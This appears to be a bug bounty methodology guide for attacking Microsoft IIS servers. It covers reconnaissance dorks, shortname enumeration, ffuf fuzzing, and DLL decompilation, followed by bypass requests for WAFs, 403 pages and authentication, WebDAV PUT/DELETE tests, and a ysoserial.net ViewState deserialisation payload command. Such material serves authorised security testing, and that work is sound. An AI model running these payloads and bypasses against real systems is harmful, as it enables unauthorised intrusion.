From passive reconnaissance to intelligent fuzzing and real‑world bypasses — everything you need for professional bug bounty hunting on Microsoft IIS.

Getting Started

Microsoft IIS powers countless enterprise web applications, internal portals, and REST APIs. Its widespread adoption means that legacy settings, outdated components, and human configuration errors often create exploitable openings. This guide takes you from zero knowledge to a structured, battle‑tested methodology: starting with light reconnaissance, moving through short‑name leaks, and finishing with advanced fuzzing and authentication bypasses.

1. Wide‑Area Reconnaissance (Search Engine Hacking)

Before touching a single target, we first locate IIS servers using public search engines. The following dorks are highly effective for finding exposed IIS instances, including outdated versions with known vulnerabilities.

Google Operators

These queries look for the phrase "IIS Windows Server" inside page text, URLs, or titles, restricted to a specific domain.

intext:IIS Windows Server site:*.target.com
inurl:"IIS Windows Server" site:*.target.com
intitle:"IIS Windows Server" site:*.target.com

Shodan Queries

Shodan lets you pinpoint IIS servers by HTTP title, SSL certificate metadata, or organisation name.text

http.title:"IIS"
org:"target" http.title:"IIS Windows Server"
Ssl:"Company Inc." http.title:"IIS Windows Server"
hostname:".target.com" "Microsoft-IIS/6.0"
product:"Microsoft IIS httpd" version:"7.5"
Ssl.cert.subject.CN:"target.com" http.title:"IIS Windows Server"

FOFA Searches

FOFA indexes response headers and body content. Use these filters to find IIS servers with or without version numbers.

body="iis-8.5"
server="Microsoft-IIS"
server="Microsoft-IIS/8.5"
server="Microsoft-IIS" && host=".example.com"
server="Microsoft-IIS" && domain="example.com"

Hunter.how Filters

Hunter.how provides fine‑grained control over SSL certificates, headers, and domain metadata.

web.title="IIS Windows Server" and domain="target.com"
header.server=="Microsoft-IIS/10" and domain="target.com"

Verifying a Suspected IIS Server

Once you have a candidate host, confirm it really runs IIS.

  • Default welcome page — The classic blue IIS splash screen.
  • Browser extension (Wappalyzer) — Detects server technology and sometimes the version.
  • HTTP response headers — Use curl -I https://target.com and look for Server: Microsoft-IIS/... or X-Powered-By: ASP.NET.
  • Nmap service scan:

bash

nmap -p 80,443 -sV -sC target.com

Nmap's http-iis-short-name-brute script also checks for the 8.3 shortname vulnerability.

Version‑Specific Risk Profiles

Each IIS version comes with its own typical weak spots.

IIS 6.0 (Windows Server 2003)

  • WebDAV often on by default
  • PUT verb misconfigurations
  • Classic ASP applications
  • Weak request filtering
  • Shortname enumeration almost always works
  • Old SSL/TLS and weak ciphers
  • Exposed ISAPI extensions

IIS 7.0 / 7.5 (Server 2008 / 2008 R2)

  • Shortname enumeration still common
  • WebDAV misconfigurations frequent
  • Request filter bypasses
  • ViewState weaknesses in older ASP.NET
  • TRACE method sometimes left enabled
  • Weak MachineKey in legacy apps

IIS 8.0 / 8.5 (Server 2012 / 2012 R2)

  • Shortname enumeration possible if not disabled
  • Poor upload validation in custom handlers
  • WebDAV left on during upgrades
  • Outdated ASP.NET components
  • TLS misconfigurations by default
  • Verbose error pages

IIS 10.0 (Server 2016+)

  • Secure out‑of‑the‑box
  • Issues come from misconfiguration, not core IIS
  • Exposed debug endpoints (trace.axd)
  • Insecure file upload logic
  • Weak access controls on internal folders
  • Azure App Service mistakes (if cloud‑hosted)
  • Old .NET apps running on modern IIS

Targeting strategy by version

  • 6.0 / 7.x → shortnames, WebDAV, legacy ASP, ViewState
  • 8.x → handler flaws, upload abuse, leftover configs
  • 10.x → app logic bugs, debug leaks, backup files, access control issues

2. Subdomain Harvesting + IIS Detection

Collect every subdomain using a mix of passive and active tools, then probe them for live IIS servers.

Gathering subdomains

# Passive
subfinder -d example.com -all -silent -o subfinder.txt
assetfinder --subs-only example.com > assetfinder.txt
amass enum -passive -d example.com -o amass_passive.txt
findomain -t example.com -u findomain.txt
chaos -d example.com > chaos.txt
waybackurls example.com | unfurl -u domains > wayback.txt
# Active
amass enum -active -d example.com -o amass_active.txt
dnsx -d example.com -resp -o dnsx.txt
puredns bruteforce wordlist.txt example.com -o puredns.txt
# Merge
cat *.txt | sort -u > all_subdomains.txt

Probing for IIS with httpx

cat all_subdomains.txt | httpx-toolkit -mc 200 -sc -td -title -server | grep -i "IIS"

Filter by specific versions:

cat all_subdomains.txt | httpx-toolkit -mc 200 -sc -td -title -server | grep -i "IIS/7.5"
cat all_subdomains.txt | httpx-toolkit -mc 200 -sc -td -title -server | grep -i "IIS/8.5"
cat all_subdomains.txt | httpx-toolkit -mc 200 -sc -td -title -server | grep -i "IIS/10.0"

Automated scanning with Nuclei

cat all_subdomains.txt | nuclei -t /nuclei-templates/http/misconfiguration/iis-shortname-detect.yaml
cat all_subdomains.txt | nuclei -tags iis
cat all_subdomains.txt | nuclei -tags cve

Refer to OpenCVE for the latest IIS‑related CVEs.

3. Shortname Enumeration (8.3 Disclosure)

Once you have a confirmed IIS target, test for the classic tilde (~) shortname vulnerability.

Option A — Burp Suite extension

Install "IIS Short Name Scanner" from the BApp store.

Option B — Shortscan by bitquark

bitquark/shortscan on GitHub

shortscan http://target.com/
shortscan http://target.com/ -F
shortscan @targets.txt -F
shortscan http://target.com/admin
shortscan http://target.com/admin/

What shortscan reveals:

  • Whether the server leaks 8.3 shortnames
  • Actual shortnames like ADMINI~1, WEBCON~1, BACKUP~1
  • Attempts to expand shortnames to full names (e.g., ADMINI~1 → administrator)

4. Intelligent Fuzzing with FFUF

Shortnames give you a massive head start. Instead of blind brute‑force, you now fuzz with high‑probability words.

Initial focused fuzzing

ffuf -u "https://target.com/FUZZ" -c -ac -fs 0 -w iis.txt
ffuf -u "https://target.com/FUZZ" -c -ac -fs 0 -w iis.txt -e .json,.js,.svc,.html,.htm,.txt,.zip,.asmx,.aspx,.7z,.ashx,.asp,.xml,.exe,.dll,.gz,.xsl,.bak,.old,.rar

Use larger wordlists for deeper coverage:

ffuf -u "https://target.com/FUZZ" -c -ac -fs 0 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e .json,.js,.svc,.html,.htm,.txt,.zip,.asmx,.aspx,.7z,.ashx,.asp,.xml,.exe,.dll,.gz,.xsl,.bak,.old,.rar
ffuf -u "https://target.com/FUZZ" -c -ac -fs 0 -w /usr/share/seclists/Discovery/Web-Content/big.txt -e .json,.js,.svc,.html,.htm,.txt,.zip,.asmx,.aspx,.7z,.ashx,.asp,.xml,.exe,.dll,.gz,.xsl,.bak,.old,.rar

Hunting a specific file type

If you suspect a .rar file exists but don't know its name:

ffuf -u "https://target.com/FUZZ.rar" -c -ac -fs 0 -w iis.txt
ffuf -u "https://target.com/FUZZ.rar" -c -ac -fs 0 -w /usr/share/seclists/Discovery/Web-Content/big.txt

Example shortscan output showing multiple file types:

HRMSTE~1.RAR         HRMSTE?.RAR?
ASPNET~1             ASPNET?             ASPNET_CLIENT
APPLIC~1.RAR         APPLIC?.RAR?

Test all discovered patterns at once:

ffuf -u "https://target.com/FUZZ" -c -ac -fs 0 -w iis.txt -e .exe,.dll,.rar,.zip,.7z,.bak,.svc,.aspx

From shortname to full name

If shortscan gives you MEDIVEST~1, you know the real name starts with MEDIVEST. Now fuzz the suffix:

ffuf -u "https://target.com/MEDIVESTFUZZ" -c -ac -fs 0 -w iis.txt -e .exe,.dll,.rar -fc 403

Recursive fuzzing

Whenever you find a file or directory, fuzz inside that same path again. One discovery often hides others.

ffuf -u "https://target.com/FTP-Contacts/FUZZ" -c -ac -fs 0 -w iis.txt -e .json,.js,.svc,.html,.htm,.txt,.zip,.asmx,.aspx,.7z,.ashx,.asp,.xml,.exe,.dll,.gz,.xsl,.bak,.old,.rar -fc 403

Creative naming variations

Developers often use prefixes, suffixes, hyphens, underscores, or version numbers.

# Prefix
ffuf -w iis.txt -u https://example.com/domainFUZZ -e .json,.js,.svc
# Suffix
ffuf -w iis.txt -u https://example.com/FUZZapi -e ...
# Hyphen
ffuf -w iis.txt -u https://example.com/FUZZ-prod -e ...
# Underscore
ffuf -w iis.txt -u https://example.com/FUZZ_domain -e ...
# Version
ffuf -w iis.txt -u https://example.com/FUZZv1 -e ...

High‑value extension list (always include these)

.json, .js, .svc, .html, .htm, .txt, .zip, .asmx, .aspx, .7z, .ashx, .asp, .xml, .exe, .dll, .gz, .xsl, .bak, .old, .rar

5. GitHub Correlation for Path Clues

Shortnames like /LINKON~1 can be searched on GitHub using path:/LINKON. You may find public repositories that use a similar folder structure, revealing full filenames, installers, config files, or backup archives.

6. DLL Reverse Engineering with dotPeek

If you stumble upon a .dll file accessible via the web, download it and load it into JetBrains dotPeek (free .NET decompiler).

What to hunt for inside the decompiled code:

  • Hard‑coded internal paths and URLs
  • Undocumented API endpoints
  • API keys, tokens, or passwords
  • Database connection strings
  • Debug flags and test routes
  • Credentials accidentally left in source
  • References to backup files or internal resources

Even without source code, a single DLL can reveal the application's architecture and point you to sensitive functionality.

7. Debug Endpoint Discovery

For ASP.NET applications, always check for trace.axd:

https://target.com/Trace.axd

When left enabled in production, it exposes request traces, cookies, form parameters, session IDs, and internal paths — a goldmine for further attacks.

8. Web.config Exploitation (Leading to RCE)

On IIS 7.5 + ASP.NET, the web.config file controls everything. If you can upload or modify it (via insecure file upload, misconfigured handlers, or path traversal), remote code execution often follows.

A practical walkthrough is available on Hack The Box (machine name: Bounty).

9. 403 Bypass Automation

Use a dedicated to test dozens of 403 bypass techniques. Be careful with false positives — always verify by comparing the response status, body length, and content. A true bypass returns the actual protected resource, not a redirect or a 200 OK placeholder.

https://github.com/eh-amish/ForbidBuster

10. Session Cookie Abuse (ASP.NET_SessionId)

Some applications only check for the existence of a session cookie, not its validity or ownership. If you can obtain or guess a valid ASP.NET_SessionId, you might access restricted areas.

Example (unauthorized access):

GET /admin/dashboard.aspx HTTP/1.1
Host: target.com
Cookie: ASP.NET_SessionId=VALID_OR_STOLEN_SESSION

If the server returns 200 OK instead of 403, you have a broken access control issue.

11. WAF Bypass via Cookieless Sessions

ASP.NET supports cookieless sessions where the session ID appears in the URL as (S(...)). IIS automatically strips this part before processing the request, but many WAFs do not normalise the path the same way.

Normal request (blocked by WAF):

GET /AdminPanel.aspx HTTP/1.1
Host: target.com

Cookieless variant (bypass):

GET /(S(ABC123XYZ))/AdminPanel.aspx HTTP/1.1
Host: target.com

The WAF sees a different path (/(S(...))/AdminPanel.aspx) and may not match its rules. IIS strips the (S(...)) and serves /AdminPanel.aspx as usual.

12. Authentication Bypass via Request.Path Manipulation

Some ASP.NET applications base access control on Request.Path. By appending a fake path segment, you can sometimes trick the logic.

Before manipulation (redirect to login):

GET /Admin/ManageUsers.aspx HTTP/1.1
Host: target.com

After manipulation (bypass):

GET /Admin/ManageUsers.aspx/Login.aspx HTTP/1.1
Host: target.com

The application may see the trailing /Login.aspx and incorrectly treat the request as public.

13. WebDAV Misconfiguration Testing

If IIS has WebDAV enabled, check which HTTP verbs are allowed.

curl -X OPTIONS https://target.com -i

Look for DAV: 1,2 and Allow: PUT, DELETE, MOVE, PROPFIND. Then test each dangerous method:

curl -X PUT https://target.com/test.txt --data "test"
curl -X DELETE https://target.com/test.txt
curl -X MOVE https://target.com/test.txt
curl -X PROPFIND https://target.com/

Successful uploads, deletions, or moves indicate a severe misconfiguration.

14. ViewState Security Analysis

ASP.NET pages often contain a hidden __VIEWSTATE field. Insecure configurations (e.g., disabled MAC validation or weak MachineKey) can lead to deserialisation attacks.

Extract and decode:

echo "BASE64_ENCODED_VIEWSTATE" | base64 -d

Generate a malicious payload (authorised testing only):

ysoserial.net -p ViewState -g TextFormattingRunProperties -c "whoami"

Replace the original __VIEWSTATE value in a POST request. Even if not directly exploitable, ViewState often leaks control names and application structure.

Final Thoughts

Effective IIS testing is a chain of discoveries, not a random scan. Start with broad reconnaissance, zoom in on shortname leaks, then fuzz intelligently. Each piece of information (version, path, debug endpoint, DLL, session behaviour) feeds the next step. This structured approach reduces noise, saves time, and consistently uncovers high‑impact vulnerabilities.

Legal & Ethical Reminder

All techniques described here are for educational purposes and authorised security assessments only. Never test against a system without explicit written permission. Unauthorised access is illegal and unethical. Use this knowledge responsibly.